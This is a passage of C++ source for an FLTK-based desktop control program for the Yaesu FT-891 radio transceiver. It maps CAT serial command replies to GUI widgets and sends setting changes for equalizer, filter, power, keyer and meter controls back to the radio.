SSBOutLevelValue = Menu::AnswerSSBOutLevel(cmd); SSBOutLevel->value(SSBOutLevelValue); SSBOutLevel->redraw(); break; case MenuFunction::CLAR_SELECT: ClarifierTypeValue = Menu::AnswerClarSelect(cmd); ClarifierType->value(static_cast(ClarifierTypeValue)); ClarifierType->redraw(); break; case MenuFunction::EQ1_FREQ: MicCenterFreq1Value = Menu::AnswerEQ1Freq(cmd); MicCenterFreq1->value(static_cast(MicCenterFreq1Value)); MicCenterFreq1->redraw(); break; case MenuFunction::EQ1_BWTH: MicBandWidth1Value = Menu::AnswerEQ1Bwth(cmd); MicBandWidth1->value(MicBandWidth1Value); MicBandWidth1->redraw(); break; case MenuFunction::EQ1_LEVEL: MicEq1LevelValue = Menu::AnswerEQ1Level(cmd); MicEQLevel1->value(MicEq1LevelValue); MicEQLevel1->redraw(); break; case MenuFunction::EQ2_FREQ: MicCenterFreq2Value = Menu::AnswerEQ2Freq(cmd); MicCenterFreq2->value(static_cast(MicCenterFreq2Value)); MicCenterFreq2->redraw(); break; case MenuFunction::EQ2_BWTH: MicBandWidth2Value = Menu::AnswerEQ2Bwth(cmd); MicBandWidth2->value(MicBandWidth2Value); MicBandWidth2->redraw(); break; case MenuFunction::EQ2_LEVEL: MicEq2LevelValue = Menu::AnswerEQ2Level(cmd); MicEQLevel2->value(MicEq2LevelValue); MicEQLevel2->redraw(); break; case MenuFunction::EQ3_FREQ: MicCenterFreq3Value = Menu::AnswerEQ3Freq(cmd); MicCenterFreq3->value(static_cast(MicCenterFreq3Value)); MicCenterFreq3->redraw(); m_port.writeString(Menu::ReadEQ3Level()); m_port.writeString(Menu::ReadEQ3Bwth()); break; case MenuFunction::EQ3_BWTH: MicBandWidth3Value = Menu::AnswerEQ3Bwth(cmd); MicBandWidth3->value(MicBandWidth3Value); MicBandWidth3->redraw(); break; case MenuFunction::EQ3_LEVEL: MicEq3LevelValue = Menu::AnswerEQ3Level(cmd); MicEQLevel3->value(MicEq3LevelValue); MicEQLevel3->redraw(); break; case MenuFunction::P_EQ1_FREQ: MicPCenterFreq1Value = Menu::AnswerPEQ1Freq(cmd); MicPCenterFreq1->value(static_cast(MicPCenterFreq1Value)); MicPCenterFreq1->redraw(); break; case MenuFunction::P_EQ1_BWTH: MicPBandWidth1Value = Menu::AnswerPEQ1Bwth(cmd); MicPBandWidth1->value(MicPBandWidth1Value); MicPBandWidth1->redraw(); break; case MenuFunction::P_EQ1_LEVEL: MicPEq1LevelValue = Menu::AnswerPEQ1Level(cmd); MicPEQLevel1->value(MicPEq1LevelValue); MicPEQLevel1->redraw(); break; case MenuFunction::P_EQ2_FREQ: MicPCenterFreq2Value = Menu::AnswerPEQ2Freq(cmd); MicPCenterFreq2->value(static_cast(MicPCenterFreq2Value)); MicPCenterFreq2->redraw(); break; case MenuFunction::P_EQ2_BWTH: MicPBandWidth2Value = Menu::AnswerPEQ2Bwth(cmd); MicPBandWidth2->value(MicPBandWidth2Value); MicPBandWidth2->redraw(); break; case MenuFunction::P_EQ2_LEVEL: MicPEq2LevelValue = Menu::AnswerPEQ2Level(cmd); MicPEQLevel2->value(MicPEq2LevelValue); MicPEQLevel2->redraw(); break; case MenuFunction::P_EQ3_FREQ: MicPCenterFreq3Value = Menu::AnswerPEQ3Freq(cmd); MicPCenterFreq3->value(static_cast(MicPCenterFreq3Value)); MicPCenterFreq3->redraw(); break; case MenuFunction::P_EQ3_BWTH: MicPBandWidth3Value = Menu::AnswerPEQ3Bwth(cmd); MicPBandWidth3->value(MicPBandWidth3Value); MicPBandWidth3->redraw(); break; case MenuFunction::P_EQ3_LEVEL: MicPEq3LevelValue = Menu::AnswerPEQ3Level(cmd); MicPEQLevel3->value(MicPEq3LevelValue); MicPEQLevel3->redraw(); break; case MenuFunction::APO: APOVal = Menu::AnswerApo(cmd); APO->value(static_cast(APOVal)); APO->redraw(); break; case MenuFunction::FAN_CONTROL: FanControlVal = Menu::AnswerFanControl(cmd); FanControl->value(static_cast(FanControlVal)); FanControl->redraw(); break; case MenuFunction::MEM_GROUP: MemoryGroupValue = Menu::AnswerMemGroup(cmd); MemGroup->value(static_cast(MemoryGroupValue)); MemGroup->redraw(); break; case MenuFunction::FM_SETTING: FMSettingValue = Menu::AnswerFMSetting(cmd); FMSetting->value(static_cast(FMSettingValue)); FMSetting->redraw(); break; case MenuFunction::REC_SETTING: RecSettingValue = Menu::AnswerRecSetting(cmd); RECSetting->value(static_cast(RecSettingValue)); RECSetting->redraw(); break; case MenuFunction::ATAS_SETTING: ATASSettingValue = Menu::AnswerATASSetting(cmd); ATASSetting->value(static_cast(ATASSettingValue)); ATASSetting->redraw(); break; case MenuFunction::TX_TOT: TXTOTValue = Menu::AnswerTXTOT(cmd); TXTot->value(TXTOTValue); TXTot->redraw(); break; case MenuFunction::MIC_SCAN: MicScanValue = Menu::AnswerMicScan(cmd); MicScan->value(static_cast(MicScanValue)); MicScan->redraw(); break; case MenuFunction::MIC_SCAN_RESUME: MicScanResumeVal = Menu::AnswerMicScanResume(cmd); MicScanResume->value(static_cast(MicScanResumeVal)); MicScanResume->redraw(); break; case MenuFunction::CW_BK_IN_TYPE: CWBreakInTypeValue = Menu::AnswerCWBreakInType(cmd); CWBreakInType->value(static_cast(CWBreakInTypeValue)); CWBreakInType->redraw(); break; case MenuFunction::CW_WAVE_SHAPE: { CwWaveShapeVal = Menu::AnswerCWWaveShape(cmd); CWWaveShape->value(static_cast(CwWaveShapeVal) - 1); CWWaveShape->redraw(); } break; case MenuFunction::CW_FREQ_DISPLAY: CWFreqDisplayVal = Menu::AnswerCWFreqDisplay(cmd); CWFreqDisplay->value(static_cast(CWFreqDisplayVal)); CWFreqDisplay->redraw(); break; case MenuFunction::PC_KEYING: PCKeyingVal = Menu::AnswerPCKeying(cmd); PCKeying->value(static_cast(PCKeyingVal)); PCKeying->redraw(); break; case MenuFunction::QSK_DELAY_TIME: QSKDelayTimeVal = Menu::AnswerQSKDelayTime(cmd); QSKDelayTime->value(static_cast(QSKDelayTimeVal)); QSKDelayTime->redraw(); break; case MenuFunction::DATA_MODE: DataModeVal = Menu::AnswerDataMode(cmd); DataMode->value(static_cast(DataModeVal)); DataMode->redraw(); break; case MenuFunction::PSK_TONE: PSKToneVal = Menu::AnswerPSKTone(cmd); PSKTone->value(static_cast(PSKToneVal)); PSKTone->redraw(); break; case MenuFunction::AGC_FAST_DELAY: AGCFastDelayValue = Menu::AnswerAgcFastDelay(cmd); AGCFastDelay->value(AGCFastDelayValue); AGCFastDelay->redraw(); break; case MenuFunction::AGC_MID_DELAY: AGCMidDelayValue = Menu::AnswerAgcMidDelay(cmd); AGCMidDelay->value(AGCMidDelayValue); AGCMidDelay->redraw(); break; case MenuFunction::AGC_SLOW_DELAY: AGCSlowDelayValue = Menu::AnswerAgcSlowDelay(cmd); AGCSlowDelay->value(AGCSlowDelayValue); AGCSlowDelay->redraw(); break; case MenuFunction::KEYER_TYPE: KeyerTypeVal = Menu::AnswerKeyerType(cmd); KeyerType->value(static_cast(KeyerTypeVal)); KeyerType->redraw(); break; case MenuFunction::KEYER_DOT_DASH_ORDER: KeyerDotDashVal = Menu::AnswerKeyerDotDash(cmd); KeyerDotDash->value(static_cast(KeyerDotDashVal)); KeyerDotDash->redraw(); break; case MenuFunction::CW_WEIGHT: CWWeightValue = Menu::AnswerCwWeight(cmd) - 25; CWWeight->value(CWWeightValue); CWWeight->redraw(); break; case MenuFunction::CW_MEMORY_1: CWMemory1Val = Menu::AnswerCWMemory1(cmd); CWMemory1Setting->value(static_cast(CWMemory1Val)); CWMemory1Setting->redraw(); break; case MenuFunction::CW_MEMORY_2: CWMemory2Val = Menu::AnswerCWMemory2(cmd); CWMemory2Setting->value(static_cast(CWMemory2Val)); CWMemory2Setting->redraw(); break; case MenuFunction::CW_MEMORY_3: CWMemory3Val = Menu::AnswerCWMemory3(cmd); CWMemory3Setting->value(static_cast(CWMemory3Val)); CWMemory3Setting->redraw(); break; case MenuFunction::CW_MEMORY_4: CWMemory4Val = Menu::AnswerCWMemory4(cmd); CWMemory4Setting->value(static_cast(CWMemory4Val)); CWMemory4Setting->redraw(); break; case MenuFunction::CW_MEMORY_5: CWMemory5Val = Menu::AnswerCWMemory5(cmd); CWMemory5Setting->value(static_cast(CWMemory5Val)); CWMemory5Setting->redraw(); break; case MenuFunction::CAT_RATE: CatRateSelectValue = Menu::AnswerCatRate(cmd); CatRateSelect->value(static_cast(CatRateSelectValue)); CatRateSelect->redraw(); break; case MenuFunction::CAT_TOT: CatTOTSelectValue = Menu::AnswerCatTOT(cmd); CatTOTSelect->value(static_cast(CatTOTSelectValue)); CatTOTSelect->redraw(); break; } continue; } else if(cmdtype == "RI") { Yaesu::FT891::Commands::RadioInfoVal val = RadioInformation::Answer(cmd); switch(val.Type) { case InformationType::TX_LED: if(val.Value == InformationState::ON) StatusLED->color(FL_RED); else StatusLED->color(FL_BACKGROUND_COLOR); break; case InformationType::RX_LED: if(val.Value == InformationState::ON) StatusLED->color(FL_BLUE); else StatusLED->color(FL_BACKGROUND_COLOR); break; case InformationType::HI_SWR: if(val.Value == InformationState::ON) { ///m_port.writeString(Yaesu::FT891::Commands::TXW::Set(TXWValue::OFF)); StatusLED->color(fl_rgb_color(255,165,0)); } else StatusLED->color(FL_BACKGROUND_COLOR); break; case InformationType::PLAY: if(val.Value == InformationState::ON) { StatusLED->color(FL_BLACK); StatusLED->color2(FL_BLUE); StatusLED->align(FL_ALIGN_INSIDE | FL_ALIGN_CENTER); StatusLED->label("►"); } else { StatusLED->color(FL_BACKGROUND2_COLOR); StatusLED->color2(FL_BACKGROUND2_COLOR); StatusLED->label(""); } break; case InformationType::REC: if(val.Value == InformationState::ON) { StatusLED->color(FL_GREEN); } else { StatusLED->color(FL_BACKGROUND_COLOR); } break; } StatusLED->redraw(); Fl::redraw(); } else if(cmdtype == "RM") { MeterVal val = ReadMeter::Answer(cmd); switch(val.Type) { case ReadMeterType::S: SMeterLevel = val.Value; break; case ReadMeterType::COMP: CompLevel = val.Value; break; case ReadMeterType::ALC: ALCLevel = val.Value; break; case ReadMeterType::PO: POLevel = val.Value; break; case ReadMeterType::SWR: SwrLevel = val.Value; break; case ReadMeterType::ID: IDLevel = val.Value; break; case ReadMeterType::AutoA: break; case ReadMeterType::AutoB: switch((MeterType)this->DisplayMode->value()) { case MeterType::COMP: CompLevel = val.Value; break; case MeterType::ALC: ALCLevel = val.Value; break; case MeterType::PO: POLevel = val.Value; break; case MeterType::SWR: SwrLevel = val.Value; break; case MeterType::ID: IDLevel = val.Value; break; } break; } } else { #ifdef DEBUG cout << "Unhandled: " << cmd << endl; #endif continue; } } this->flush(true); Fl::unlock(); Fl::awake(); } catch(std::exception& e) { std::cout << e.what() << std::endl; } } void OnLightButtonClick(Fl_Light_Button* o, void* v) { FT891* window = reinterpret_cast(v); window->OnPowerButtonClick(o, v); } void OnScrollBar(Fl_Value_Slider* o, void* v) { FT891* window = (FT891*)v; window->OnScroll(o, v); } void OnChoice(Fl_Widget* pitem, void* v) { FT891* pwin = (FT891*)v; pwin->SetMeterType(pitem,v); } void OnRoll(Fl_Value_Slider* o , void* v) { FT891* pwin = (FT891*)v; pwin->OnRoll(o,v); } void OnOperatingMode(Fl_Widget* o, void* v) { FT891* window = (FT891*)v; window->SetOperatingMode(); } void OnCounter(Fl_Widget* o,void* v) { FT891* window = (FT891*)v; window->OnCounter((Fl_Counter*)o,v); } void FT891::OnCounter(Fl_Counter* c, void* v) { if(Clarifier->value() == 0) { ClarifierValue = 0; m_port.writeString(ClarClear::Set()); } else if(Clarifier->value() > ClarifierValue) { int current = Clarifier->value(); m_port.writeString(RxClarifierPlusOffset::Set(std::abs(ClarifierValue - current))); } else { int current = Clarifier->value(); m_port.writeString(ClarDown::Set(std::abs(ClarifierValue - current))); } } void FT891::SetOperatingMode() { int val = OperatingMode->value(); switch(val) { case 3: case 4: case 5: MicGain->hide(); KeyerSpeed->show(); if(VOX->color() == FL_GREEN) { m_port.writeString(VoxStatus::Set(VoxStatusValue::OFF)); } VOX->hide(); //VoxGainLevel->hide(); //VoxDelayTime->hide(); Keyer->show(); KeyerPitch->show(); BreakIn->show(); PRC->hide(); break; default: MicGain->show(); KeyerSpeed->hide(); Keyer->hide(); VOX->show(); PRC->show(); BreakIn->hide(); KeyerPitch->hide(); break; } switch(val) { case 0://"USB", 0, O m_port.writeString(Menu::SetSSBBFO(BfoValue::USB)); m_port.writeString(OperatingMode::Set(ModeValue::SSB_BFOA)); break; case 1://"LSB", 0, O m_port.writeString(Menu::SetSSBBFO(BfoValue::LSB)); m_port.writeString(OperatingMode::Set(ModeValue::SSB_BFOA)); break; case 2: //"SSB-AUTO", m_port.writeString(Menu::SetSSBBFO(BfoValue::AUTO)); m_port.writeString(OperatingMode::Set(ModeValue::SSB_BFOA)); break; case 3://"CW-L",0,On m_port.writeString(Menu::SetCWBFO(BfoValue::LSB)); m_port.writeString(OperatingMode::Set(ModeValue::CW_BFOA)); break; case 4://"CW-U", 0 , m_port.writeString(Menu::SetCWBFO(BfoValue::USB)); m_port.writeString(OperatingMode::Set(ModeValue::CW_BFOA)); break; case 5://"CW-AUTO", m_port.writeString(Menu::SetCWBFO(BfoValue::AUTO)); m_port.writeString(OperatingMode::Set(ModeValue::CW_BFOA)); break; case 6: //"FM",0,OnOp m_port.writeString(OperatingMode::Set(ModeValue::FM)); break; case 7://"FM-N",0, O //m_port.writeString(Narrow::Set(NarrowValue::ON)); m_port.writeString(OperatingMode::Set(ModeValue::FM_N)); break; case 8: //"AM",0,OnOp //m_port.writeString(Narrow::Set(NarrowValue::OFF)); m_port.writeString(OperatingMode::Set(ModeValue::AM)); break; case 9://"AM-N",0,On //m_port.writeString(Narrow::Set(NarrowValue::ON)); m_port.writeString(OperatingMode::Set(ModeValue::AM_N)); break; case 10: m_port.writeString(Menu::SetDATABFO(DataBfoValue::USB)); m_port.writeString(OperatingMode::Set(ModeValue::DATA_BFOA)); break; case 11: m_port.writeString(Menu::SetDATABFO(DataBfoValue::LSB)); m_port.writeString(OperatingMode::Set(ModeValue::DATA_BFOB)); break; case 12: m_port.writeString(Menu::SetRTTYBFO(DataBfoValue::USB)); m_port.writeString(OperatingMode::Set(ModeValue::RTTY_BFOA)); break; case 13: m_port.writeString(Menu::SetRTTYBFO(DataBfoValue::LSB)); m_port.writeString(OperatingMode::Set(ModeValue::RTTY_BFOB)); break; } } void FT891::SetMeterType(Fl_Widget* pitem, void*) { if(DisplayMode == pitem){ m_port.writeString(MeterSW::Set((MeterType)DisplayMode->value())); } else if(pitem == Width) { UIMode m = GetUIMode(); WidthValue v; v.State = WidthState::ON; bool Narrow = NAR->color() == FL_GREEN; switch(m) { case UIMode::SSB: v.WidthCommand = (Narrow? 1 : 9) + Width->value(); break; case UIMode::CW: case UIMode::RTTY: v.WidthCommand = (Narrow? 1 : 10) + Width->value(); break; } m_port.writeString(Width::Set(v)); } else if(pitem == Band) { m_port.writeString(BandSelect::Set((Yaesu::FT891::Commands::Band) Band->value())); } else if(pitem == AMLCUTFreq) { m_port.writeString(Menu::SetAMLowCutFreq((FreqLowCutValue)AMLCUTFreq->value())); } else if(pitem == AMLCUTSlope) { m_port.writeString(Menu::SetAMLowCutSlope((FreqSlopeValue)AMLCUTSlope->value())); } else if(pitem == AMHCUTFreq) { m_port.writeString(Menu::SetAMHighCutFreq((FreqHighCutValue)AMHCUTFreq->value())); } else if(pitem == AMHCUTSlope) { m_port.writeString(Menu::SetAMHighCutSlope((FreqSlopeValue)AMHCUTSlope->value())); } else if(pitem == CWLCUTFreq) { m_port.writeString(Menu::SetCWLowCutFreq((FreqLowCutValue)CWLCUTFreq->value())); } else if(pitem == CWLCUTSlope) { m_port.writeString(Menu::SetCWLowCutSlope((FreqSlopeValue)CWLCUTSlope->value())); } else if(pitem == CWHCUTFreq) { m_port.writeString(Menu::SetCWHighCutFreq((FreqHighCutValue)CWHCUTFreq->value())); } else if(pitem == CWHCUTSlope) { m_port.writeString(Menu::SetCWHighCutSlope((FreqSlopeValue)CWHCUTSlope->value())); } else if(pitem == RTTYLCUTFreq) { m_port.writeString(Menu::SetRTTYLowCutFreq((FreqLowCutValue)RTTYLCUTFreq->value())); } else if(pitem == RTTYLCUTSlope) { m_port.writeString(Menu::SetRTTYLowCutSlope((FreqSlopeValue)RTTYLCUTSlope->value())); } else if(pitem == RTTYHCUTFreq) { m_port.writeString(Menu::SetRTTYHighCutFreq((FreqHighCutValue)RTTYHCUTFreq->value())); } else if(pitem == RTTYHCUTSlope) { m_port.writeString(Menu::SetRTTYHighCutSlope((FreqSlopeValue)RTTYHCUTSlope->value())); } else if(pitem == DATALCUTFreq) { m_port.writeString(Menu::SetDATALowCutFreq((FreqLowCutValue)DATALCUTFreq->value())); } else if(pitem == DATALCUTSlope) { m_port.writeString(Menu::SetDATALowCutSlope((FreqSlopeValue)DATALCUTSlope->value())); } else if(pitem == DATAHCUTFreq) { m_port.writeString(Menu::SetDATAHighCutFreq((FreqHighCutValue)DATAHCUTFreq->value())); } else if(pitem == DATAHCUTSlope) { m_port.writeString(Menu::SetDATAHighCutSlope((FreqSlopeValue)DATAHCUTSlope->value())); } else if(pitem == SSBLCUTFreq) { m_port.writeString(Menu::SetSSBLowCutFreq((FreqLowCutValue)SSBLCUTFreq->value())); } else if(pitem == SSBLCUTSlope) { m_port.writeString(Menu::SetSSBLowCutSlope((FreqSlopeValue)SSBLCUTSlope->value())); } else if(pitem == SSBHCUTFreq) { m_port.writeString(Menu::SetSSBHighCutFreq((FreqHighCutValue)SSBHCUTFreq->value())); } else if(pitem == SSBHCUTSlope) { m_port.writeString(Menu::SetSSBHighCutSlope((FreqSlopeValue)SSBHCUTSlope->value())); } else if(pitem == TunerType) { m_port.writeString(Menu::SetTunerSelect(static_cast(TunerType->value()))); } else if(pitem == ClarifierType) { m_port.writeString(Menu::SetClarSelect(static_cast(ClarifierType->value()))); } else if(pitem == MicCenterFreq1) { m_port.writeString(Menu::SetEQ1Freq(static_cast(MicCenterFreq1->value()))); } else if(pitem == MicCenterFreq2) { m_port.writeString(Menu::SetEQ2Freq(static_cast(MicCenterFreq2->value()))); } else if(pitem == MicCenterFreq3) { m_port.writeString(Menu::SetEQ3Freq(static_cast(MicCenterFreq3->value()))); } else if(pitem == MicPCenterFreq1) { m_port.writeString(Menu::SetPEQ1Freq(static_cast(MicPCenterFreq1->value()))); } else if(pitem == MicPCenterFreq2) { m_port.writeString(Menu::SetPEQ2Freq(static_cast(MicPCenterFreq2->value()))); } else if(pitem == MicPCenterFreq3) { m_port.writeString(Menu::SetPEQ3Freq(static_cast(MicPCenterFreq3->value()))); } else if(pitem == APO) { m_port.writeString(Menu::SetApo(static_cast(APO->value()))); } else if(pitem == FanControl) { m_port.writeString(Menu::SetFanControl(static_cast(FanControl->value()))); } else if(pitem == MemGroup) { m_port.writeString(Menu::SetMemGroup(static_cast(MemGroup->value()))); } else if(pitem == FMSetting) { m_port.writeString(Menu::SetFMSetting(static_cast(FMSetting->value()))); } else if(pitem == RECSetting) { m_port.writeString(Menu::SetRecSetting(static_cast(RECSetting->value()))); } else if(pitem == ATASSetting) { m_port.writeString(Menu::SetATASSetting(static_cast(ATASSetting->value()))); } else if(pitem == TXTot) { m_port.writeString(Menu::SetTxTOT(TXTot->value())); } else if(pitem == MicScan) { m_port.writeString(Menu::SetMicScan(static_cast(MicScan->value()))); } else if(pitem == MicScanResume) { m_port.writeString(Menu::SetMicScanResume(static_cast(MicScanResume->value()))); } else if(pitem == CWBreakInType) { m_port.writeString(Menu::SetCWBreakkInType(static_cast(CWBreakInType->value()))); } else if(pitem == CWWaveShape) { m_port.writeString(Menu::SetCWWaveShape(static_cast(CWWaveShape->value() + 1))); } else if(pitem == CWFreqDisplay) { m_port.writeString(Menu::SetCWFreqDisplay(static_cast(CWFreqDisplay->value()))); } else if(pitem == PCKeying) { m_port.writeString(Menu::SetPCKeying(static_cast(PCKeying->value()))); } else if(pitem == QSKDelayTime) { m_port.writeString(Menu::SetQSKDelayTime(static_cast(QSKDelayTime->value()))); } else if(pitem == DataMode) { m_port.writeString(Menu::SetDataMode(static_cast(DataMode->value()))); } else if(pitem == PSKTone) { m_port.writeString(Menu::SetPSKTone(static_cast(PSKTone->value()))); } else if(pitem == KeyerType) { string s = Menu::SetKeyerType(static_cast(KeyerType->value())); m_port.writeString(s); } else if(pitem == KeyerDotDash) { m_port.writeString(Menu::SetKeyerDotDash(static_cast(KeyerDotDash->value()))); } else if(pitem == CWWeight) { m_port.writeString(Menu::SetCwWeight(CWWeight->value() + 25)); } else if(pitem == CWMemory1Setting) { m_port.writeString(Menu::SetCWMemory1(static_cast(CWMemory1Setting->value()))); } else if(pitem == CWMemory2Setting) { m_port.writeString(Menu::SetCWMemory2(static_cast(CWMemory2Setting->value()))); } else if(pitem == CWMemory3Setting) { m_port.writeString(Menu::SetCWMemory3(static_cast(CWMemory3Setting->value()))); } else if(pitem == CWMemory4Setting) { m_port.writeString(Menu::SetCWMemory4(static_cast(CWMemory4Setting->value()))); } else if(pitem == CWMemory5Setting) { m_port.writeString(Menu::SetCWMemory5(static_cast(CWMemory5Setting->value()))); } else if(pitem == AMPTTSelect) { m_port.writeString(Menu::SetAMPTTSelect(static_cast(AMPTTSelect->value()))); } else if(pitem == SSBPTTSelect) { m_port.writeString(Menu::SetSSBPTTSelect(static_cast(SSBPTTSelect->value()))); } else if(pitem == DATAPTTSelect) { m_port.writeString(Menu::SetDATAPTTSelect(static_cast(DATAPTTSelect->value()))); } else if(pitem == PCKeying) { m_port.writeString(Menu::SetPCKeying(static_cast(PCKeying->value()))); } else if(pitem == PktPTTSelect) { m_port.writeString(Menu::SetPktPTTSelect(static_cast(PktPTTSelect->value()))); } else if(pitem == CatRateSelect) { m_port.writeString(Menu::SetCatRate(static_cast(CatRateSelect->value()))); } else if(pitem == CatTOTSelect) { m_port.writeString(Menu::SetCatTOT(static_cast(CatTOTSelect->value()))); } } void FT891::OnScroll(Fl_Value_Slider* o, void* v) { FT891* window = (FT891*)v; int val = o->value(); if (o == HFPower) { m_port.writeString(Menu::SetHfPwr(val)); } else if (o == HFSSBPower) { m_port.writeString(Menu::SetHfSsbPwr(val)); } else if (o == HFAMPower) { m_port.writeString(Menu::SetHfAmPwr(val)); } else if (o == VHFPower) { m_port.writeString(Menu::Set50mPwr(val)); } else if (o == VHFSSBPower) { m_port.writeString(Menu::Set50mSsbPwr(val)); } else if (o == VHFAMPower) { m_port.writeString(Menu::Set50mAmPwr(val)); } else if (o == Backlight) { m_port.writeString(Menu::SetBackliteDimmer(val)); } else if(o == MicGain) { m_port.writeString(MicGain::Set(val)); } else if(o == RFGain) { m_port.writeString(RFGain::Set(RFGain->value())); } else if(o == Squelch) { m_port.writeString(SquelchLevel::Set(Squelch->value())); } else if(o == MonitorLevel) { MonitorLevelValue v; v.f = MonitorFunction::MontiorLevel; v.val.iVal = MonitorLevel->value(); m_port.writeString(MonitorLevel::Set(v)); } else if(o == KeyerSpeed) { m_port.writeString(KeyerSpeed::Set((KeyerSpeedVal)KeyerSpeed->value())); } else if(o == Volume) { m_port.writeString(VolumeLevel::Set(Volume->value())); } else if(o == DNRAlgo) { m_port.writeString(NoiseReductionLevel::Set(DNRAlgo->value())); } else if(o == LCD) { string s = Menu::SetLcdDimmer(LCD->value()); m_port.writeString(s); } else if(o == ProcessorLevel) { string s = SpeechProcessorLevel::Set((int)ProcessorLevel->value()); m_port.writeString(s); } else if(o == NoiseBlankerLevel) { string s = NoiseBlankerLevel::Set((int)NoiseBlankerLevel->value()); m_port.writeString(s); } else if(o == LCDContrast) { string s = Menu::SetLcdContrast((int)LCDContrast->value()); m_port.writeString(s); } else if(o == TxBusy) { string s = Menu::SetTxBusyDimmer((int)TxBusy->value()); m_port.writeString(s); } else if(o == AMOutLevel) { string s = Menu::SetAMOutLevel((int) AMOutLevel->value()); m_port.writeString(s); } else if(o == CWOutLevel) { string s = Menu::SetCWOutLevel((int) CWOutLevel->value()); m_port.writeString(s); } else if(o == RTTYOutLevel) { string s = Menu::SetRTTYOutLevel((int) RTTYOutLevel->value()); m_port.writeString(s); } else if(o == DATAOutLevel) { string s = Menu::SetDATAOutLevel((int) DATAOutLevel->value()); m_port.writeString(s); } else if(o == SSBOutLevel) { string s = Menu::SetSSBOutLevel((int) SSBOutLevel->value()); m_port.writeString(s); } else if(o == BeepLevel) { string s = Menu::SetBeepLevel((int) BeepLevel->value()); m_port.writeString(s); } else if(o == MicEQLevel1) { string s = Menu::SetEQ1Level(MicEQLevel1->value()); m_port.writeString(s); } else if(o == MicBandWidth1) { string s = Menu::SetEQ1Bwth(MicBandWidth1->value()); m_port.writeString(s); } else if(o == MicEQLevel2) { string s = Menu::SetEQ2Level(MicEQLevel2->value()); m_port.writeString(s); } else if(o == MicBandWidth2) { string s = Menu::SetEQ2Bwth(MicBandWidth2->value()); m_port.writeString(s); } else if(o == MicEQLevel3) { string s = Menu::SetEQ3Level(MicEQLevel3->value()); m_port.writeString(s); } else if(o == MicBandWidth3) { string s = Menu::SetEQ3Bwth(MicBandWidth3->value()); m_port.writeString(s); } else if(o == MicPEQLevel1) { string s = Menu::SetPEQ1Level(MicPEQLevel1->value()); m_port.writeString(s); } else if(o == MicPBandWidth1) { string s = Menu::SetPEQ1Bwth(MicPBandWidth1->value()); m_port.writeString(s); } else if(o == MicPEQLevel2) { string s = Menu::SetPEQ2Level(MicPEQLevel2->value()); m_port.writeString(s); } else if(o == MicPBandWidth2) { string s = Menu::SetPEQ2Bwth(MicPBandWidth2->value()); m_port.writeString(s); } else if(o == MicPEQLevel3) { string s = Menu::SetPEQ3Level(MicPEQLevel3->value()); m_port.writeString(s); } else if(o == MicPBandWidth3) { string s = Menu::SetPEQ3Bwth(MicPBandWidth3->value()); m_port.writeString(s); } else if(o == AGCFastDelay) { string s = Menu::SetAgcFastDelay(AGCFastDelay->value()); m_port.writeString(s); } else if(o == AGCMidDelay) { string s = Menu::SetAgcMidDelay(AGCMidDelay->value()); m_port.writeString(s); } else if(o == AGCSlowDelay) { string s = Menu::SetAgcSlowDelay(AGCSlowDelay->value()); m_port.writeString(s); } } void FT891::OnRoll(Fl_Value_Slider* o , void* v) { m_port.writeString(KeyPitch::Set((KeyPitchValue) ((o->value() - 300)/10))); o->redraw(); } void OnBox(Fl_Button* o, void* v) { FT891* window = (FT891*)v; window->OnBox(o,v); } void FT891::OnBox(Fl_Button* o , void* v) { FT891* window = (FT891*)v; if(o == window->NAR) { if(window->NAR->color() == FL_GREEN) { NAR->color(FL_BACKGROUND_COLOR); NarrowState = NarrowValue::OFF; m_port.writeString(Narrow::Set(NarrowState)); } else { NAR->color(FL_GREEN); NarrowState = NarrowValue::ON; m_port.writeString(Narrow::Set(NarrowState)); } NAR->redraw(); } else if(o == window->ATT) { if(window->ATT->color() == FL_GREEN) { ATT->color(FL_BACKGROUND_COLOR); m_port.writeString(RFAttenuator::Set(RfAttenuatorState::OFF)); } else { ATT->color(FL_GREEN); m_port.writeString(RFAttenuator::Set(RfAttenuatorState::ON)); } } else if(o == window->IPO) { if(window->IPO->color() == FL_GREEN) { IPO->color(FL_BACKGROUND_COLOR); m_port.writeString(PreAmp::Set(PreAmpValue::AMP)); } else { IPO->color(FL_GREEN); m_port.writeString(PreAmp::Set(PreAmpValue::IPO)); } } else if(o == window->btnDNR) { if(btnDNR->color() == FL_GREEN) { btnDNR->color(FL_BACKGROUND_COLOR); m_port.writeString(NoiseReduction::Set(NoiseReductionValue::OFF)); } else { btnDNR->color(FL_GREEN); m_port.writeString(NoiseReduction::Set(NoiseReductionValue::ON)); m_port.writeString(NoiseReductionLevel::Read()); } } else if(o == NB) { if(NB->color() == FL_GREEN) { NB->color(FL_BACKGROUND_COLOR); m_port.writeString(NoiseBlankerStatus::Set(NoiseBlankerStatusValue::OFF)); } else { NB->color(FL_GREEN); m_port.writeString(NoiseBlankerStatus::Set(NoiseBlankerStatusValue::ON)); } } else if(o == FST) { if(FST->color() == FL_GREEN) { FST->color(FL_BACKGROUND_COLOR); m_port.writeString(FAST_STEP::Set(VFOFastStepValue::OFF)); } else { FST->color(FL_GREEN); m_port.writeString(FAST_STEP::Set(VFOFastStepValue::ON)); } } else if(o == MON) { MonitorLevelValue v; v.f = MonitorFunction::MontiorOnOff; if(MON->color() == FL_GREEN) { MON->color(FL_BACKGROUND_COLOR); v.val.eVal = MonitorOnOffValue::OFF; m_port.writeString(MonitorLevel::Set(v)); } else { MON->color(FL_GREEN); v.val.eVal = MonitorOnOffValue::ON; m_port.writeString(MonitorLevel::Set(v)); } } else if(o == PRC) { SpeechProcessorSetting s; if(PRC->color() != FL_GREEN) { PRC->color(FL_GREEN); s.state = SpeechProcessorState::ON; s.type = SpeechProcessorType::Processor; std::string val = SpeechProcessor::Set(s); m_port.writeString(val); } else { PRC->color(FL_BACKGROUND_COLOR); s.state = SpeechProcessorState::OFF; s.type = SpeechProcessorType::Processor; std::string val = SpeechProcessor::Set(s); m_port.writeString(val); } } else if(o == Keyer) { if(Keyer->color() == FL_GREEN) { Keyer->color(FL_BACKGROUND_COLOR); m_port.writeString(Yaesu::FT891::Commands::Keyer::Set(KeyerValue::OFF)); KeyerSpeed->clear_active(); KeyerSpeed->redraw(); } else { Keyer->color(FL_GREEN); m_port.writeString(Keyer::Set(KeyerValue::ON)); m_port.writeString(KeyerSpeed::Read()); KeyerSpeed->set_active(); KeyerSpeed->redraw(); } } else if(o == BreakIn) { if(BreakIn->color() == FL_GREEN) { BreakIn->color(FL_BACKGROUND_COLOR); m_port.writeString(BreakIn::Set(BreakInState::OFF)); } else { BreakIn->color(FL_GREEN); 